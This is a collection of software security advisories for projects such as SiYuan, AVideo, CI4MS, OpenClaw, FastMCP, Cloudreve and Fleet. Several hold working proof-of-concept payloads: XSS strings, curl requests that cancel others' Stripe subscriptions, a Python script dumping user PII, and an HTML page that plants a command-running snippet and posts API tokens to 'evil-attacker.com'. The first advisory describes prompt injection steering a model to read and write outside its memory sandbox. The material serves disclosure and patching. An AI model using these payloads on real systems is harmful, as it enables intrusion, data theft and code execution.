The local filesystem memory tool in the Anthropic TypeScript SDK validated model-supplied paths using a string prefix check that did not append a trailing path separator. A model steered by prompt injection could supply a crafted path that resolved to a sibling directory sharing the memory root's name as a prefix, allowing reads and writes outside the sandboxed memory directory.

Users on the affected versions are advised to update to the latest version.

Claude SDK for TypeScript thanks [hackerone.com/nicksim](https://hackerone.com/nicksim) for reporting this issue!


DNS Rebinding Protection Disabled by Default in Model Context Protocol Go SDK for Servers Running on Localhost

[Severity: HIGH]

The Model Context Protocol (MCP) Go SDK does not enable DNS rebinding protection by default for HTTP-based servers. When an HTTP-based MCP server is run on localhost without authentication with `StreamableHTTPHandler` or `SSEHandler`, a malicious website could exploit DNS rebinding to bypass same-origin policy restrictions and send requests to the local MCP server. This could allow an attacker to invoke tools or access resources exposed by the MCP server on behalf of the user in those limited circumstances.

Note that running HTTP-based MCP servers locally without authentication is not recommended per MCP security best practices. This issue does not affect servers using stdio transport.

Servers created via `StreamableHTTPHandler` or `SSEHandler` now have this protection enabled by default when binding to `localhost`. Users are advised to update to version `1.4.0` to receive this automatic protection.


AVideo: Arbitrary Stripe Subscription Cancellation via Debug Endpoint and retrieveSubscriptions() Bug

[Severity: MEDIUM]

## Summary

The StripeYPT plugin includes a `test.php` debug endpoint that is accessible to any logged-in user, not just administrators. This endpoint processes Stripe webhook-style payloads and triggers subscription operations, including cancellation. Due to a bug in the `retrieveSubscriptions()` method that cancels subscriptions instead of merely retrieving them, any authenticated user can cancel arbitrary Stripe subscriptions by providing a subscription ID.

## Details

At `plugin/StripeYPT/test.php:4`, the endpoint checks only for a logged-in user, not for admin privileges:

```php
if (!User::isLogged())
```

At lines 27-29, the endpoint accepts a JSON payload from the request and processes it through the Stripe metadata handler:

```php
$obj = StripeYPT::getMetadataOrFromSubscription(json_decode($_REQUEST['payload']));
```

The call chain proceeds as follows:
- `test.php` calls `getMetadataOrFromSubscription()`
- Which calls `getSubscriptionId()` to extract the subscription ID
- Which calls `retrieveSubscriptions()` to interact with the Stripe API

At `StripeYPT.php:933`, the `retrieveSubscriptions()` method contains a critical bug where it cancels the subscription instead of just retrieving it:

```php
$response = $sub->cancel();
```

This same bug also affects the production webhook processing path via `processSubscriptionIPN()`, meaning both the debug endpoint and the live webhook handler can trigger unintended cancellations.

## Proof of Concept

1. Log in as any regular (non-admin) user and obtain a session cookie.

2. Send a crafted payload to the test endpoint with a target subscription ID:

```bash
curl -b "PHPSESSID=USER_SESSION" \
  "https://your-avideo-instance.com/plugin/StripeYPT/test.php" \
  -d 'payload={"data":{"object":{"id":"sub_TARGET_SUBSCRIPTION_ID","customer":"cus_CUSTOMER_ID"}}}'
```

3. The endpoint processes the payload, calls `retrieveSubscriptions()`, and the subscription is cancelled via the Stripe API.

4. To enumerate subscription IDs, check if the application exposes them through other endpoints or use predictable patterns:

```bash
# Check user subscription details if accessible
curl -b "PHPSESSID=USER_SESSION" \
  "https://your-avideo-instance.com/plugin/StripeYPT/listSubscriptions.php"
```

5. The Stripe subscription is now cancelled. The affected user loses access to their paid features.

## Impact

Any logged-in user can cancel arbitrary Stripe subscriptions belonging to other users. This causes direct financial damage to the platform operator (lost subscription revenue) and service disruption for paying subscribers who lose access to premium features. The debug endpoint should have been removed from production or restricted to admin-only access, and the `retrieveSubscriptions()` method should retrieve rather than cancel subscriptions.

- **CWE-862**: Missing Authorization
- **Severity**: Medium

## Recommended Fix

Two changes are needed:

**1. Restrict the debug endpoint to admins** at `plugin/StripeYPT/test.php:4`:

```php
// plugin/StripeYPT/test.php:4
if (!User::isAdmin())
```

Change `User::isLogged()` to `User::isAdmin()` so only administrators can access the debug endpoint.

**2. Fix the retrieval bug** at `StripeYPT.php:933`:

Remove the `$sub->cancel()` call from `retrieveSubscriptions()` so that the function only retrieves subscription data without cancelling it:

```php
// StripeYPT.php:933 - remove the following line:
// $response = $sub->cancel();
```

The `retrieveSubscriptions()` method should retrieve subscription information, not cancel subscriptions as a side effect.

---
*Found by [aisafe.io](https://aisafe.io)*


Temporal Server: attacker-controlled namespace could signal, delete, and reset workflows or activities in a victim namespace on the same cluster

[Severity: LOW]

A writer role user in an attacker-controlled namespace could signal, delete, and reset workflows or activities in a victim namespace on the same cluster. Exploitation requires the attacker to know or guess specific victim workflow ID(s) and, for signal operations, signal names. This was due to a bug introduced in Temporal Server v1.29.0 which inadvertently allowed an attacker to control the namespace name value instead of using the server's own trusted name value within the batch activity code. The batch activity validated the namespace ID but did not cross-check the namespace name against the worker's bound namespace, allowing the per-namespace worker's privileged credentials to operate on an arbitrary namespace. Exploitation requires a server configuration where internal components have cross-namespace authorization, such as deployment of the internal-frontend service or equivalent TLS-based authorization for internal identities.

This vulnerability also impacted Temporal Cloud when the attacker and victim namespaces were on the same cell, with the same preconditions as self-hosted clusters.


SiYuan vulnerable to reflected XSS via SVG namespace prefix bypass in SanitizeSVG (getDynamicIcon, unauthenticated)

[Severity: HIGH]

### Summary

The `SanitizeSVG` function introduced in v3.6.0 to fix XSS in the unauthenticated `/api/icon/getDynamicIcon` endpoint can be bypassed by using namespace-prefixed element names such as `<x:script xmlns:x="http://www.w3.org/2000/svg">`. The Go HTML5 parser records the element's tag as `"x:script"` rather than `"script"`, so the tag check passes it through. The SVG is served with `Content-Type: image/svg+xml` and no Content Security Policy; when a browser opens the response directly, its XML parser resolves the prefix to the SVG namespace and executes the embedded script.

### Details

The `getDynamicIcon` route is registered without authentication:

```go
// kernel/server/serve.go
ginServer.Handle("GET", "/api/icon/getDynamicIcon", getDynamicIcon)
```

For type 8, the `content` query parameter is inserted directly into an SVG `<text>` element using `fmt.Sprintf` with no HTML encoding:

```go
// kernel/api/icon.go:579-584
return fmt.Sprintf(`
    <svg id="dynamic_icon_type8" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512">
        <path d="..."/>
        <text x="50%%" y="55%%" ...>%s</text>
    </svg>`, ..., content)
```

`SanitizeSVG` then parses the SVG with `github.com/88250/lute/html` and removes elements whose lowercased tag name matches a fixed list:

```go
// kernel/util/misc.go:249-252
tag := strings.ToLower(c.Data)
if tag == "script" || tag == "iframe" || tag == "object" || tag == "embed" ||
    tag == "foreignobject" || "animate" == tag || ... {
    n.RemoveChild(c)
```

The lute HTML parser stores the full qualified name including any namespace prefix in `Node.Data`. A payload like `<x:script xmlns:x="http://www.w3.org/2000/svg">` gets `Data = "x:script"`. The check `tag == "script"` is false, so the element is not removed and survives in the rendered output.

Confirmed with the same library version used by SiYuan:

```
html.Parse input:  <x:script xmlns:x="http://www.w3.org/2000/svg">alert(1)</x:script>
Node.Data result:  "x:script"   (not "script")
Removed by check:  false
Rendered output:   <x:script xmlns:x="http://www.w3.org/2000/svg">alert(1)</x:script>
```

The same bypass works for every element on the blocklist: `x:iframe`, `x:object`, `x:foreignObject`, etc.

The fix is to strip the namespace prefix before comparing:

```go
localName := tag
if i := strings.LastIndex(tag, ":"); i >= 0 {
    localName = tag[i+1:]
}
if localName == "script" || localName == "iframe" || ...
```

### PoC

```
GET /api/icon/getDynamicIcon?type=8&color=red&content=%3C%2Ftext%3E%3Cx%3Ascript%20xmlns%3Ax%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3Ealert%28document.domain%29%3C%2Fx%3Ascript%3E%3Ctext%3E HTTP/1.1
Host: 127.0.0.1:6806
```

Decoded `content` value:
```
</text><x:script xmlns:x="http://www.w3.org/2000/svg">alert(document.domain)</x:script><text>
```

The response is a valid SVG with the script element intact. Opening the URL directly in a browser triggers the alert, confirming script execution at the SiYuan server origin.

### Impact

Any user whose SiYuan instance is reachable over a local network is exposed. An attacker on the same network can craft the URL and share it. When the victim opens it in a browser, JavaScript executes at the `http://<siyuan-host>:6806` origin. Because SiYuan sets `Access-Control-Allow-Origin: *` and the script runs same-origin, it can call any API endpoint using the victim's existing session cookies, including endpoints to read all notes, export data, or modify settings. No authentication or prior access is needed to construct the payload.


CI4MS: Permissions Management Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSS

[Severity: CRITICAL]

## Summary
### **Vulnerability: Stored DOM XSS via Group / Role Management Fields (Administrative Context Execution)**
- Stored Cross-Site Scripting via Unsanitized Group / Role Management Inputs

### Description
The application fails to properly sanitize user-controlled input within group and role management functionality. Multiple input fields (three distinct group-related fields) can be injected with malicious JavaScript payloads, which are then stored server-side.

These stored payloads are later rendered unsafely within privileged administrative views without proper output encoding, leading to stored cross-site scripting (XSS) within the role and permission management context.

### Affected Functionality
- Group creation and editing functionality
- Role and permission assignment interfaces
- Storage and retrieval of group-related data

### Attack Scenario
- An attacker injects a malicious XSS payload into one or more group-related input fields.
- The application stores these values without sanitization or encoding.
- An administrator views the group or role management interface.
- The payload executes automatically in the administrator’s browser.

### Impact
- Persistent Stored XSS
- Execution of arbitrary JavaScript in victims’ browsers
- Privilege escalation when viewed by administrators
- Full administrator account takeover
- Full compromise of the entire application

Endpoints:
- `/backend/users/groupList/`

## Steps To Reproduce (POC)
1. Navigate to the Group / Role Management page
2. Insert an XSS payload into any of the three group-related input fields such as:
`<img src=x onerror=alert(document.domain)>`
3. Save the group or role changes
4. View the group/role management page as an administrator
5. Observe the XSS payload executing automatically

## Remediation
- Never use .html() again or any innerHTML-style like JS in your PHP, or any other sink, even if user inputs that flow into them are not clear, they still represent real world danger as an attacker can make use of this to exploit the application via XSS. And do HTML Encoding as much as possible and always do Sanitization, theres no sanitization there unfortunately. Also apply CSP, HttpOnly, SameSite, and Secure upon all application, they reduce severity of XSS & escalated-CSRF via XSS and do great jobs

# Ready Video POC:
https://mega.nz/file/6QUEXDbR#JXzYXg9bef_NeSUVFB4R03UeXLtAVtYwTRsdrHLlokU


CI4MS: Methods Management Full Account Takeover for All-Roles & Privilege-Escalation via Stored DOM XSS

[Severity: CRITICAL]

## Summary
### **Vulnerability: Stored DOM XSS via Methods Management Fields (Global Persistent Payload Execution)**
- Stored Cross-Site Scripting via Unsanitized Method Creation and Management Inputs
- Automatic Execution Across All Pages Where Method Is Rendered in Navigation

## Description
The application fails to properly sanitize user-controlled input within the **Methods Management** functionality when creating or managing application methods/pages. Multiple input fields accept attacker-controlled JavaScript payloads that are stored server-side without sanitization or output encoding.

These stored values are later rendered directly into administrative interfaces and global navigation components without proper encoding, resulting in **Stored DOM-Based Cross-Site Scripting (XSS)**.

Critically, because created methods are automatically rendered inside the system’s navigation/menu structure, the injected payload executes globally — meaning **every page visited where the malicious method appears in the menu triggers the XSS payload automatically**.

This significantly increases severity, as exploitation is not limited to a single view — it becomes a platform-wide persistent execution point.

## Affected Functionality
- Methods creation functionality
- Methods management and listing functionality
- Administrative navigation rendering
- Permission-related UI rendering
- Global sidebar / menu rendering
- Storage and retrieval of method-related data

## Affected Fields
The following fields accept unsanitized input and allow persistent JavaScript injection:
- Page Name
- Description
- Controller
- Method Name
- Seflink
- Page Order
- Symbol (FontAwesome 5)
- Permissions
- Parent Page
- Module

## Attack Scenario
1. An attacker creates or edits a method.
2. The attacker injects a malicious XSS payload into any vulnerable field (e.g., Page Name).
3. The application stores the payload without sanitization or encoding.
4. The method is automatically rendered inside the application’s navigation/menu.
5. Every time any user visits any page where the menu is displayed, the malicious JavaScript executes automatically.

Because the navigation is globally rendered across backend pages, the XSS triggers on nearly every administrative page visit.

## Impact
- Persistent Stored DOM XSS
- Automatic execution across multiple application pages
- Execution of arbitrary JavaScript in victims’ browsers
- Privilege escalation when viewed by administrators
- Full administrator account takeover
- Full account takeover across all roles
- Session hijacking
- CSRF token theft
- Complete compromise of the entire application

This vulnerability is highly severe due to:
- Persistent storage
- Global rendering surface
- Automatic execution without user interaction
- High likelihood of administrator exposure

Endpoints:
- `/backend/methods/`
- `/backend/methods/create`

## Steps To Reproduce (POC)
1. Navigate to Methods Management → Create Method
2. Insert the following payload into Page Name (or any vulnerable field):
`<img src=x onerror=alert(document.domain)>`
3. Save the method
4. Navigate to any backend page
5. Observe the payload executing automatically wherever the malicious method appears in the menu
6. The XSS triggers across all pages where the navigation is rendered.

## Remediation
- Never use `.html()`, `innerHTML`, or equivalent unsafe DOM sinks with untrusted data
- Implement strict output encoding (HTML entity encoding) before rendering user input
- Apply server-side input validation and sanitization
- Use contextual escaping depending on rendering context (HTML, attribute, JS, URL)
- Implement a strong Content Security Policy (CSP)
- Set cookies with HttpOnly, Secure, and SameSite flags
- Perform security review of all navigation rendering logic

Failure to properly encode and sanitize user-controlled method fields results in full application compromise through persistent global XSS.

# Ready Video POC:
https://mega.nz/file/CFsiQAJS#cBSF2lCMD7YNZEKYEjw3T8YturY92oBvrdRQ08gmw2A


OpenClaw: node.pair.approve missing callerScopes validation allows low-privilege operator to approve malicious nodes

[Severity: MEDIUM]

## Summary

The node pairing approval path did not consistently enforce that the approving caller already held every scope requested by the node.

## Impact

A lower-privileged operator could approve a pending node request for broader scopes and extend privileges onto the paired node.

## Affected Component

`src/infra/node-pairing.ts, src/gateway/server-methods/nodes.ts`

## Fixed Versions

- Affected: `<= 2026.3.24`
- Patched: `>= 2026.3.28`
- Latest stable `2026.3.28` contains the fix.

## Fix

Fixed by commit `4d7cc6bb4f` (`gateway: restrict node pairing approvals`).

OpenClaw thanks @AntAISecurityLab for reporting.


OpenClaw: /pair approve command path omitted caller scope subsetting and reopened device pairing escalation

[Severity: CRITICAL]

## Summary

The `/pair approve` command path called device approval without forwarding caller scopes into the core approval check.

## Impact

A caller that held pairing privileges but not admin privileges could approve a pending device request asking for broader scopes, including admin access.

## Affected Component

`extensions/device-pair/index.ts, src/infra/device-pairing.ts`

## Fixed Versions

- Affected: `<= 2026.3.24`
- Patched: `>= 2026.3.28`
- Latest stable `2026.3.28` contains the fix.

## Fix

Fixed by commit `4ee4960de2` (`Pairing: forward caller scopes during approval`).

OpenClaw thanks @AntAISecurityLab for reporting.


Flask-HTTPAuth invokes token verification callback when missing or empty token was given by client

[Severity: MEDIUM]

## Summary

In a situation where the client makes a request to a token protected resource without passing a token, or passing an empty token, Flask-HTTPAuth would invoke the application's token verification callback function with the `token` argument set to an empty string. If the application had any users in its database with an empty string set as their token, then it could potentially authenticate the client request against any of those users.

## Notes

- This issue applies only to token authentication
- This issue applies only when the application verifies tokens by searching for them in a user database.
- This issue applies only if the application stores empty strings as user tokens when the user does not have an assigned token. It does not apply if the application sets those tokens to `NULL` instead.
- Tokens that are verified through cryptographic means (such as JWTs) are not affected by this issue.
- Basic and Digest authentication are not affected by this issue.

## Remediation

To protect against this issue, developers should make sure that no user in the user database has their `token` set to an empty string. If there are such users, change the value of those tokens to `NULL` instead.

Alternatively, developers can upgrade their projects to `Flask-HTTPAuth>=4.8.1`, which fixes this issue.


SiYuan is Vulnerable to Cross-Origin RCE via Permissive CORS Policy and JavaScript Snippet Injection

[Severity: CRITICAL]

### Summary

A malicious website can achieve Remote Code Execution (RCE) on any desktop running SiYuan by exploiting the permissive CORS policy (`Access-Control-Allow-Origin: *` + `Access-Control-Allow-Private-Network: true`) to inject a JavaScript snippet via the API. The injected snippet executes in Electron's Node.js context with full OS access the next time the user opens SiYuan's UI. No user interaction is required beyond visiting the malicious website while SiYuan is running.

### Details

**Vulnerable files:**
- `kernel/server/serve.go`, lines 960-963 — CORS middleware
- `kernel/api/snippet.go`, lines 93-128 — snippet injection endpoint

**Root cause:** The CORS middleware unconditionally sets:
```
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Access-Control-Allow-Private-Network: true
```

The `Access-Control-Allow-Private-Network: true` header explicitly opts into Chrome's Private Network Access specification, telling the browser that external websites are permitted to access this localhost service. Combined with `Access-Control-Allow-Origin: *`, any website on the internet can make authenticated cross-origin requests to the SiYuan API at `127.0.0.1:6806`.

The auth middleware at `kernel/model/session.go:251-280` checks the `Origin` header, but this check is bypassed because the browser sends the session cookie (set on `127.0.0.1`) along with the cross-origin request, and the server validates the cookie before reaching the Origin check for unauthenticated sessions.

**Attack chain:**
1. User visits `https://evil-attacker.com` while SiYuan desktop is running
2. Malicious JS sends CORS preflight to `http://127.0.0.1:6806` — SiYuan responds with permissive CORS headers
3. Browser sends actual POST to `/api/snippet/setSnippet` with the user's session cookie
4. SiYuan accepts the request and saves a malicious JS snippet
5. The snippet executes in Electron's renderer process with Node.js integration, achieving arbitrary code execution

### PoC

**Malicious webpage (hosted on any domain):**

```html
<!DOCTYPE html>
<html>
<body>
<h1>Innocent looking page</h1>
<script>
// Step 1: Inject a JS snippet that runs OS commands via Electron/Node.js
fetch('http://127.0.0.1:6806/api/snippet/setSnippet', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({
    snippets: [{
      id: 'exploit-' + Date.now(),
      name: 'system-update',
      type: 'js',
      content: 'require("child_process").exec("id > /tmp/siyuan-rce-proof")',
      enabled: true
    }]
  })
}).then(r => r.json()).then(d => {
  console.log('Snippet injected:', d);
});

// Step 2 (optional): Exfiltrate API token and all notes
fetch('http://127.0.0.1:6806/api/system/getConf', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'application/json'}
}).then(r => r.json()).then(d => {
  // Send API token and config to attacker server
  fetch('https://evil-attacker.com/collect', {
    method: 'POST',
    body: JSON.stringify(d.data)
  });
});
</script>
</body>
</html>
```

**Verification steps:**

1. Start SiYuan desktop (or Docker with `SIYUAN_ACCESS_AUTH_CODE` set)
2. Login to SiYuan in a browser to establish a session cookie
3. In the same browser, navigate to the malicious page
4. Verify snippet was injected:
```bash
curl -X POST http://127.0.0.1:6806/api/snippet/getSnippet \
  -H "Content-Type: application/json" \
  -b <session-cookie> \
  -d '{"type":"all","enabled":2}'
```

**Tested and confirmed on SiYuan v3.6.1 (Docker).** The CORS preflight returns permissive headers, the snippet is injected from `Origin: https://evil-attacker.com`, and the API token is exfiltrated — all in a single page load.

### Impact

- **Remote Code Execution:** Any website can execute arbitrary OS commands on the user's machine via Electron's Node.js integration. The attacker gains full control with the user's privileges.
- **Data exfiltration:** The attacker can read all notes, configuration (including API tokens), and workspace data via the API before the RCE payload even triggers.
- **No user interaction beyond browsing:** The victim only needs to visit a malicious/compromised webpage while SiYuan is running. No clicks, no downloads, no permissions dialogs.
- **Affects all desktop users:** SiYuan desktop runs on `127.0.0.1:6806` by default. The `Access-Control-Allow-Private-Network: true` header explicitly bypasses Chrome's Private Network Access protection that would otherwise block this attack.
- **Persistence:** The injected JS snippet is saved to disk and executes every time SiYuan loads, surviving restarts.


SiYuan: Stored XSS in Attribute View Gallery/Kanban Cover Rendering Allows Arbitrary Command Execution in Desktop Client

[Severity: CRITICAL]

### Summary
An attacker who can place a malicious URL in an Attribute View `mAsse` field can trigger stored XSS when a victim opens the Gallery or Kanban view with “Cover From -> Asset Field” enabled. The vulnerable code accepts arbitrary `http(s)` URLs without extensions as images, stores the attacker-controlled string in `coverURL`, and injects it directly into an `<img src="...">` attribute without escaping. In the Electron desktop client, the injected JavaScript executes with `nodeIntegration` enabled and `contextIsolation` disabled, so the XSS reaches arbitrary OS command execution under the victim’s account.

### Details
The vulnerable flow is:

1. `IsPossiblyImage(assetPath)` accepts arbitrary `http(s)` URLs without validating that they are safe image URLs.
2. When an Attribute View card uses `Cover From -> Asset Field`, the application copies `asset.Content` directly into `galleryCard.CoverURL / kanbanCard.CoverURL`.
3. The front-end renderer inserts `coverURL` directly into `<img src="${getCompressURL(item.coverURL)}">` without escaping quotes or other attribute-breaking characters.
4. A payload such as `https://example.com/" onerror="require('child_process').exec('calc')` breaks out of the `src` attribute and adds an attacker-controlled `onerror` handler.
When the image fails to load, the injected JavaScript runs in the Electron renderer. Because the desktop app enables `nodeIntegration: true` and disables `contextIsolation` and `webSecurity`, that JavaScript can access Node.js APIs and execute system commands.

### PoC
1. Install Electron Desktop app.
2. Create a database / Attribute View with an mAsset column and add at least one row.
3. Add any legitimate image to that mAsset field so the entry is stored as type image.
4. Switch the view to Gallery or Kanban.
5.Set Cover From to Asset Field and choose the mAsset column.
6. Edit the existing image asset entry and replace its link with the following payload:
```
https://example.com/" onerror="require('child_process').exec('calc')
```
7. Save the change and reopen or refresh the Gallery / Kanban view.
8. Observe that the rendered HTML contains an injected onerror handler and the Calculator application starts on Windows.

Example rendered output:
```html
<img loading="lazy" class="av__gallery-img" src="https://example.com/" onerror="require('child_process').exec('calc')">
```
### Impact
An attacker can store malicious content in a database asset field and execute arbitrary JavaScript when another user opens the affected Gallery or Kanban view. In the desktop client, that JavaScript has access to Node.js APIs, so the impact is not limited to browser-context XSS. The payload executes OS commands with the victim’s local user privileges, which turns this into remote code execution on the desktop application once the malicious content is delivered and rendered.


AVideo vulnerable to Mass User PII Disclosure via Missing Authorization in YPTWallet users.json.php

[Severity: MEDIUM]

**Severity:** High
**CWE:** CWE-862 (Missing Authorization)

### Summary

The `plugin/YPTWallet/view/users.json.php` endpoint returns all platform users with their personal information and wallet balances to any authenticated user. The endpoint checks `User::isLogged()` but does not check `User::isAdmin()`, so any registered user can dump the full user database.

### Details

The authorization check at `plugin/YPTWallet/view/users.json.php:8`:

```php
if (!User::isLogged()) {
    die("Is not logged");
}
```

The query in `YPTWallet::getAllUsers()` selects all columns from both tables:

```php
$sql = "SELECT w.*, u.*, u.id as user_id, IFNULL(balance, 0) as balance FROM users u "
    . " LEFT JOIN wallet w ON u.id = w.users_id WHERE 1=1 ";
```

The `cleanUpRowFromDatabase()` function strips fields matching `/pass/i` (removes `password` and `recoverPass`), but all other PII fields remain: `email`, `phone`, `address`, `zip_code`, `country`, `region`, `city`, `first_name`, `last_name`, `birth_date`, `isAdmin`, `analyticsCode`, `donationLink`, and `balance`.

Other endpoints in the same directory (`saveBalance.php`, `adminManageWallets.php`, `pendingRequests.json.php`) all check `User::isAdmin()`.

### Proof of Concept

```python
import requests

TARGET = "https://your-avideo-instance.com"

# Step 1: Login as any regular (non-admin) user
session = requests.Session()
session.post(f"{TARGET}/objects/login.json.php", data={
    "user": "regular_user",
    "pass": "regular_password"
})

# Step 2: Request the users endpoint
resp = session.post(f"{TARGET}/plugin/YPTWallet/view/users.json.php", data={
    "current": "1",
    "rowCount": "10"
})

data = resp.json()
print(f"Total users: {data['total']}")
for u in data["rows"]:
    print(f"  User: {u['user']}, Email: {u['email']}, Admin: {u['isAdmin']}, Balance: {u['balance']}")
```

The response contains every user on the platform, including admin accounts, with fields: `email`, `phone`, `address`, `zip_code`, `country`, `region`, `city`, `first_name`, `last_name`, `birth_date`, `isAdmin`, `balance`, `analyticsCode`, `donationLink`.

### Impact

Any registered user can extract the complete user database with PII (emails, phone numbers, addresses, birth dates, real names) and financial data (wallet balances). This is a mass data breach that may trigger notification requirements under GDPR or CCPA.

### Recommended Fix

Change `User::isLogged()` to `User::isAdmin()` at `plugin/YPTWallet/view/users.json.php:8`:

```php
// plugin/YPTWallet/view/users.json.php:8
// Before:
if (!User::isLogged()) {
    die("Is not logged");
}

// After:
if (!User::isAdmin()) {
    die("Is not logged");
}
```

This matches the authorization pattern already used by the other endpoints in the same directory (`saveBalance.php`, `adminManageWallets.php`, `pendingRequests.json.php`).

---

*Found by [aisafe.io](https://aisafe.io)*


FastMCP: Missing Consent Verification in OAuth Proxy Callback Facilitates Confused Deputy Vulnerabilities

[Severity: HIGH]

## Summary
While testing the *GitHubProvider* OAuth integration, which allows authentication to a FastMCP MCP server via a FastMCP OAuthProxy using GitHub OAuth, it was discovered that the FastMCP OAuthProxy does not properly validate the user's consent upon receiving the authorization code from GitHub. In combination with GitHub’s behavior of skipping the consent page for previously authorized clients, this introduces a Confused Deputy vulnerability.

## Technical Details
An adversary can initiate an authentication flow by connecting their malicious MCP client to a benign MCP server using the *GitHubProvider* OAuth integration. During this flow, the attacker consents to connect their client to the MCP server and, at that point, can capture the GitHub authorization URL they are redirected to after granting consent. The attacker can then lure a victim, who is already logged into GitHub and has previously connected an MCP client to the benign MCP server, to open this captured URL. As a result, the victim’s browser is immediately redirected to the OAuthProxy’s callback endpoint, which does not correctly enforce that this browser has just given consent. The OAuthProxy then redirects the victim’s browser to the malicious MCP client’s callback URL with a valid authorization code. The attacker can exchange this code for an access token to the benign MCP server associated with the victim’s GitHub account, potentially gaining unauthorized access to resources tied to that account.

Although this issue was verified in practice only for the *GitHubProvider*, a review of the source code, specifically the `OAuthProxy._handle_idp_callback` [function](https://github.com/jlowin/fastmcp/blob/ee5f465a82350e1c5a56c4a2b47cfdc4cd736e76/src/fastmcp/server/auth/oauth_proxy.py#L1762), shows that the IdP callback handler does not verify whether the browser sending the `state` and `code` has previously consented to connecting the client to the server. As long as a valid `state` and `code` pair is provided, the OAuthProxy requests an access token from the IdP and then redirects the user-agent to the client’s callback URL with a new `code` and the corresponding `state`, allowing the client to retrieve the access token from the proxy. This pattern causes all OAuth integrations whose IdP allows skipping the consent page to be vulnerable to this attack.

Skipping the consent page is not, by itself, a vulnerability on the IdP side. Many providers legitimately skip consent for first-party or previously authorized clients with the same scopes. In this case, the core problem lies in the OAuthProxy callback handler not correctly verifying that the browser issuing the callback request is the same one that has just given the required consent.

## Steps to reproduce
1. Set up an MCP server using the *GitHubProvider* integration.
2. Connect a benign MCP client to this MCP server.
3. Configure your default browser to route all traffic through an interception proxy such as Burp Suite.
4. In a private browsing window or a second browser, log into the GitHub account used in step 2.
5. As the attacker, connect a new (malicious) MCP client to the MCP server from step 1.
6. When the browser opens for the attacker’s client, enable interception in your proxy.
7. In the browser, confirm the consent prompt.
8. In the proxy, forward all requests up to the authorization request to the GitHub authorization server.
9. Copy the authorization URL and drop the intercepted request.
10. Simulate luring the victim onto the URL by opening this URL in the browser window opened in step 4.
11. Observe that the malicious client receives a valid authorization code and gains access to the benign MCP server using the victim’s GitHub account.

In a more realistic scenario, the malicious client could be a public MCP client or a simple web server that logs the received authorization code or token, which the attacker then uses to obtain the access token and connect to the MCP server as the victim.

## Recommendation

To mitigate this issue, the OAuthProxy should verify that the browser sending the authorization code has actually given consent for the corresponding client. This can be achieved by setting and validating a consent cookie or similar browser-bound state, as described in the [mitigations section](https://mcp.mintlify.app/specification/2025-11-25/basic/security_best_practices#mitigation) for this vulnerability in the MCP specification.


Cloudreve is vulnerable to Account Takeover via Weak Cryptographic Token Generation (Insecure PRNG Seeding)

[Severity: HIGH]

### Impact
This vulnerability affects **Cloudreve** instances that were **first deployed/initialized** with versions prior to V4.10.0.

The application uses the weak pseudo-random number generator `math/rand` seeded with `time.Now().UnixNano()` to generate critical security secrets, including the `secret_key`, and `hash_id_salt`. These secrets are generated upon first startup and persisted in the database.

An attacker can exploit this by obtaining the administrator's account creation time (via public API endpoints) to narrow the search window for the PRNG seed, and use known hashid to validate the seed. By brute-forcing the seed (demonstrated to take <3 hours on general consumer PC), an attacker can predict the `secret_key`. This allows them to forge valid JSON Web Tokens (JWTs) for any user, including administrators, leading to full account takeover and privilege escalation.

**Note**: Servers running V4.10.0+ are still vulnerable if they were originally installed using an older version, as the weak secrets persist in the configuration.

### Patches
The issue has been addressed in version 4.13.0.
This patch introduces a migration mechanism that automatically:

1. Invalidate the existing `secret_key`.
2. Regenerate a new, cryptographically secure `secret_key` using crypto/rand.

Users should upgrade to 4.13.0 immediately.

### Workarounds
If an immediate upgrade is not possible, administrators must manually rotate the critical secrets in the configuration file to invalidate potential exploits:

1. Stop the Cloudreve service.
2. In Cloudreve database, locate `secret_key` setting.
3. Replace the value with a long, random string (e.g., generated via `openssl rand -base64 64`).
4. Restart the Cloudreve service.

_Note: This will log out all currently active users._

### Resources
* Vulnerable Code (Seeding): https://github.com/cloudreve/cloudreve/blob/87d48ac4a7acbc68064c2b9cb23793ac97f4392d/pkg/util/common.go#L21C1-L23C2
* Vulnerable Code (Usage): https://github.com/cloudreve/cloudreve/blob/87d48ac4a7acbc68064c2b9cb23793ac97f4392d/inventory/setting.go#L591
* [Go Documentation (math/rand)](https://pkg.go.dev/math/rand)


Duplicate Advisory: OpenClaw has Bypass in Webhook Rate Limiting via Pre-Authentication Secret Validation

[Severity: MEDIUM]

### Duplicate Advisory
This advisory has been withdrawn because CVE-2026-34508 has been rejected as a duplicate of CVE-2026-34505. This link is maintained to preserve external references.

### Original Description
OpenClaw before 2026.3.12 applies rate limiting only after webhook authentication succeeds, allowing attackers to bypass rate limits and brute-force webhook secrets without triggering 429 responses. Attackers can repeatedly guess invalid secrets to discover valid credentials and subsequently submit forged Zalo webhook traffic.


Apache Airflow Provider for Databricks: TLS Certificate Verification is Disabled in Databricks Provider K8s Token Exchange

[Severity: MEDIUM]

Improper Certificate Validation vulnerability in Apache Airflow Provider for Databricks. Provider code did not validate certificates for connections to Databricks back-end which could result in a man-of-a-middle attack that traffic is intercepted and manipulated or credentials exfiltrated w/o notice.

This issue affects Apache Airflow Provider for Databricks: from 1.10.0 before 1.12.0.

Users are recommended to upgrade to version 1.12.0, which fixes the issue.


Fleet's Apple MDM profile delivery has second-order SQL Injection that can compromise the database

[Severity: MEDIUM]

### Summary

A critical second-order SQL Injection vulnerability in Fleet's Apple MDM profile delivery pipeline could allow an attacker with a valid MDM enrollment certificate to exfiltrate or modify the contents of the Fleet database, including user credentials, API tokens, and device enrollment secrets.

### Impact

If Apple MDM is enabled, an attacker controlling an enrolled device can send a malicious UDID during the MDM Authenticate check-in. The UDID is stored safely via parameterized queries, but is later interpolated directly into SQL when the async worker processes the job. This enables blind, boolean-based, and UNION-based SQL injection across four simultaneous subqueries.

Because Fleet's database driver is configured with `multiStatements=true`, the attacker can also execute stacked queries, enabling arbitrary writes to the database. This includes inserting new admin accounts, modifying configuration, deploying malicious profiles or scripts to managed devices, and deleting data.

Exploitation requires a valid SCEP-issued enrollment certificate (mTLS), but any enrolled device, including attacker-controlled devices, can exploit this vulnerability.

This issue does not affect instances where Apple MDM is disabled.

### Workarounds

If an immediate upgrade is not possible, affected Fleet users should temporarily disable Apple MDM.

### For more information

